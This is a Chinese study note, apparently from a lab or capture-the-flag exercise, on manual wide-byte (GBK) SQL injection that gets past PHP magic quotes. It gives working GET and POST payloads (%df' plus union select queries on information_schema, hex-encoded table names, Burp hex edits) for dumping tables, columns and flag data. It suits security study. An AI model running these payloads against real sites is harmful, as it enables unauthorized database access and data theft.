学习记录-宽字节注入(手工注入)

学习记录—宽字节注入(手工注入)

注:文章仅用于学术交流,不用于其它用途,不足之处,评论指出,谢谢大佬们

一、概念及原理
宽字节注入其实质就是抓住数据库为非英文编码如gbk,通过传入含特殊字符的sql语句,配合魔法引号被数据库gbk编译为汉字,从而达到溶解魔法引号的目的。

二、注入步骤
大概步骤分为,判断是否存在宽字节注入----尝试宽字节注入

get传参:
1)判断是否存在宽字节注入,直接在参数后面输入,注意的是要经过url编译,%df 与魔法引号 ‘/’ 组合在gbk编码下为一个汉字,‘号这个模拟闭合参数里面的’。
%df’ and 1=2 --+
%df’ or 1=1 --+
2)查看输出点,这个后面操作和显错一样
%df’ or 1=1 order by 3 --+
%df’ union select 1,2,3 --+
3)查看表、字段及数据,查看字段,注意的是查询语句需要输入表名,输入表名会被魔法引号转义,所以两种方法可以选择,第一个是用子查询代替表名,第二种就是用十六进制代替字符,这里用第二种方法,如表名china_flag 对应十六进制为0x6368696e615f666c6167

%df’ union select 1,2,(select count(table_name) from information_Schema.tables where table_schema=database()) --+ 通过闭合魔术引号,闭合单引号,查看当前库的表数量

%df’ union select 1,2,(select table_name from information_Schema.tables where table_schema=database() limit 0,1) --+ 查看第一个表名
找字段

%df’ union select 1,2,(select count(column_name) from information_Schema.columns where table_Schema=database() and table_name=0x6368696e615f666c6167)–+ 查看表china_flag字段数量

%df’ union select 1,2,(select column_name from information_Schema.columns where table_Schema=database() and table_name=0x6368696e615f666c6167 limit 0,1) --+ 查看第一个字段

%df’ union select 1,2,(select C_Flag from china_flag limit 0,1) --+ 查看第一条C_Flag字段数据

post传参
post传参,传递得参数不会被编译,直接传入数据中,所以如果数据库是非英文编码,就必须是传参能够通过非英文编码融合,三种方式:第一种通过工具burp抓包修改hex十六进制,让十六进制数据和魔法引号出入数据库组成汉字;第二种,burp抓包修改参数,直接%df标识十六进制加入参数里面;第三种通常html、php都是使用utf-8编码,提交的表单按照html的utf-8传入php,可能php也会最强制转换为utf-8,所以绝大多数都是utf-8编码,如果传参含有单个汉字,汉字在utf-8编码占三个字节,和魔法引号组成四字节,然后通过逻辑传入和数据库交互,数据库为双字节编码,就会组成两个汉字,达到融合魔法引号的目的,尝试尽量笔画多的汉字,占三个字节可能性很大;

1)判断是否存在宽字节注入
第一种方式:通过输入提交汉字的表单判断,直接在页面表达输入
翼’) or 1=1 #
第二种方式:通过burp工具抓包修改参数%标识十六进制,抓包参数输入
%df’) or 1=1 #
学习记录-宽字节注入(手工注入)_第1张图片
第三种方式:通过burp工具抓包修改hex,修改为df
学习记录-宽字节注入(手工注入)_第2张图片
2)尝试获取表、字段及数据
这里不做详细介绍和get传参获取方法一样

三、个人总结
1)get传参在url栏输入,用编译的%df融合魔法引号,其实质是传入进数据库通过gbk编码转换为汉字;post传参多种方式,其本质也和get一样,区别在于页面上框内输入不需要url编码,直接输入,如果burp抓包可以在参数加入%df标识十六进制或者直接在hex修改十六进制
2)post提交表单的参数,通过burp工具抓包会被编译,具体原因,不太清楚
3)post直接页面输入,汉字建议输入笔画多的,通过utf-8编码为三字节可能性更大
4)宽字节的目的是融合魔法引号,在实际场景中,可以进行宽字节注入,但是网站关闭了回显,就要结合实际如和盲注(不限于)组合达到注入目的
5)学习宽字节注入,需要对编码类型有简要的了解

你可能感兴趣的:(安全,mysql,sql,数据库)